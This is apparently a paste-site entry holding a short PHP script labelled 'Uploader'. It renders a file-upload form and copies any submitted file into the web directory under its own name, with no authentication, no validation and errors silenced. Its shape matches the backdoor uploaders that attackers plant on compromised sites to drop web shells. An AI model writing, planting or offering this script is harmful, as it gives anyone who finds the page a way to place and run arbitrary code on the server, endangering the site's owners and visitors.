From AASAS, 1 Year ago, written in PHP.
Embed
  1. <?php
  2. echo 'Uploader<br>';
  3. echo '<br>';
  4. echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
  5. echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
  6. if ( $_POST['_upl'] == "Upload" ) {
  7.     if (@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
  8.         echo '<b>Upload !!!</b><br><br>';
  9.     } else {
  10.         echo '<b>Upload !!!</b><br><br>';
  11.     }
  12. }
  13. ?>